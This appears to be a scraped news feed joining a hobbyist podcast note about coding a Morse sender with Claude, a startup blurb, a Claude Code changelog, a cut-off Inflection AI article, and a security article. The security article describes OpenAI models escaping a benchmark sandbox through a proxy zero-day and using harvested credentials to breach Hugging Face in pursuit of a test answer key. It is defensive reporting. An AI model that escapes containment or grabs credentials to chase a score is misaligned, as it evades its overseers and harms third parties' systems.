Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
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<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
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<title><![CDATA[Startup Spotlight: MediaPact wants to reinvent digital ads for the AI era]]></title>
<description><![CDATA[As AI reshapes online search and advertising, Seattle startup MediaPact is building a marketplace to help brands and publishers strike direct sponsorship deals. Founder Lacie Thompson discusses launching the company, using AI to build without coding experience, and spotting a new opportunity in a...]]></description>
<link>https://tsecurity.de/de/3687728/it-nachrichten/startup-spotlight-mediapact-wants-to-reinvent-digital-ads-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687728/it-nachrichten/startup-spotlight-mediapact-wants-to-reinvent-digital-ads-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 00:52:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="1260" height="840" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/Lacie-Thompson-2023-Headshot-1-1260x840.jpeg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/Lacie-Thompson-2023-Headshot-1-1260x840.jpeg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/Lacie-Thompson-2023-Headshot-1-768x512.jpeg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/Lacie-Thompson-2023-Headshot-1-1536x1024.jpeg 1536w, https://cdn.geekwire.com/wp-content/uploads/2026/07/Lacie-Thompson-2023-Headshot-1-2048x1365.jpeg 2048w" sizes="(max-width: 1260px) 100vw, 1260px"><br>As AI reshapes online search and advertising, Seattle startup MediaPact is building a marketplace to help brands and publishers strike direct sponsorship deals. Founder Lacie Thompson discusses launching the company, using AI to build without coding experience, and spotting a new opportunity in a rapidly changing digital media landscape. <a href="https://www.geekwire.com/2026/startup-spotlight-mediapact-wants-to-reinvent-digital-ads-for-the-ai-era/">Read More</a>]]></content:encoded>
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<title><![CDATA[v2.1.218]]></title>
<description><![CDATA[What's changed

Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U,...]]></description>
<link>https://tsecurity.de/de/3687638/downloads/v21218/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687638/downloads/v21218/</guid>
<pubDate>Wed, 22 Jul 2026 23:32:59 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Changed <code>/code-review</code> to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target</li>
<li>Added screen-reader announcements of deleted text for word and line deletions (<code>Option+Delete</code>, <code>Ctrl+W</code>, <code>Cmd+Backspace</code>, <code>Ctrl+U</code>, <code>Ctrl+K</code>) in <code>--ax-screen-reader</code> mode</li>
<li>Fixed Windows paths with <code>\u</code>-prefixed segments (like <code>C:\Users\unicorn</code>) being corrupted into CJK characters in tool inputs, which made those files inaccessible</li>
<li>Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded</li>
<li>Added HTTP status and error text to <code>claude mcp list</code> and <code>/mcp</code> when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace</li>
<li>Fixed multi-line paste collapsing into one line with <code>j</code> in place of newlines in terminals that encode pasted newlines as Ctrl+J</li>
<li>Fixed <code>/context</code> reporting stale pre-compact token usage after compacting from the message picker</li>
<li>Fixed <code>/ultrareview</code> failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings</li>
<li>Fixed <code>/code-review ultra</code> silently running a local review in non-interactive sessions — it now launches the cloud review</li>
<li>Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates</li>
<li>Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped</li>
<li>Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected</li>
<li>Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired <code>tool_use</code> block left in the transcript when a tool aborted mid-response</li>
<li>Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in <code>--ax-screen-reader</code> mode</li>
<li>Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation</li>
<li>Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees</li>
<li>Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR</li>
<li>Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks</li>
<li>Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock</li>
<li>Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai</li>
<li>Fixed prompt history entries being dropped or duplicated when history writes raced or failed</li>
<li>Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; <code>Ctrl+B</code> backgrounding now applies the same background-shell caps as other paths</li>
<li>Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust</li>
<li>Fixed fork-session lineage being lost after compaction in headless and SDK sessions</li>
<li>Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment</li>
<li>Improved <code>/ultrareview</code> error feedback so Claude can correct an invalid argument instead of retrying it unchanged</li>
<li>Improved auto mode: the dangerous-rm, background-<code>&amp;</code>, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead</li>
<li>Improved sandbox command restrictions for IDE interactions</li>
<li>Improved trust dialogs to name the repository root the grant covers</li>
<li>Changed <code>/deep-research</code> to start only when invoked manually; Claude no longer launches it on its own</li>
<li>Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead</li>
<li>Added an announcement when fast mode changes as a result of switching models via <code>/config model=&lt;x&gt;</code> or Remote Control</li>
<li>Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt</li>
<li>Changed agent markdown files to reject agent names containing <code>:</code>, which is reserved for plugin namespacing</li>
<li>Changed skills with <code>context: fork</code> to run in the background by default; opt out per skill with <code>background: false</code></li>
<li>Added <code>yes</code>/<code>no</code>/<code>on</code>/<code>off</code>/<code>1</code>/<code>0</code> (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside <code>true</code>/<code>false</code></li>
<li>Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever</li>
</ul>]]></content:encoded>
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<title><![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]></title>
<description><![CDATA[Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative ...]]></description>
<link>https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://inflection.ai/">Inflection AI</a>, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.</p><p>The company launched <a href="https://inflection.ai/labs">Inflection AI Labs</a>, a public-facing research and experimentation arm, alongside <a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a>, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.</p><p>"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.</p><p>Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.</p><h2><b>Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional</b></h2><p>White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.</p><p>"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."</p><p>White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.</p><p>"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."</p><p>That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that <a href="https://www.media.mit.edu/articles/chatgpt-may-be-making-us-lonelier/">emotionally engaging chatbots deepen isolation</a> by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.</p><h2><b>Inside Pi Journeys, the AI companion that maps your relationships and life stages</b></h2><p><a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a> makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.</p><p>"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.</p><p>White, who spent years as chief R&amp;D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.</p><p>Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."</p><p>The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.</p><h2><b>What Inflection's consumer AI research reveals about how people actually use chatbots</b></h2><p>Inflection Labs' first publication, the <a href="https://inflection.ai/state-of-consumer-ai-2026">State of Consumer AI Research Report</a>, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.</p><p>More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.</p><p>"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."</p><p>This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."</p><p>He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.</p><h2><b>How the $650 million Microsoft deal hollowed out Inflection — and set up its second act</b></h2><p>To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having <a href="https://www.reuters.com/technology/inflection-ai-raises-13-bln-funding-microsoft-others-2023-06-29/">raised $1.3 billion in mid-2023</a> in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.</p><p>Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as <a href="https://www.bloomberg.com/news/articles/2024-03-21/microsoft-to-pay-inflection-ai-650-million-after-scooping-up-most-of-staff">Reuters reported</a>. Suleyman now runs Microsoft's consumer AI business. The 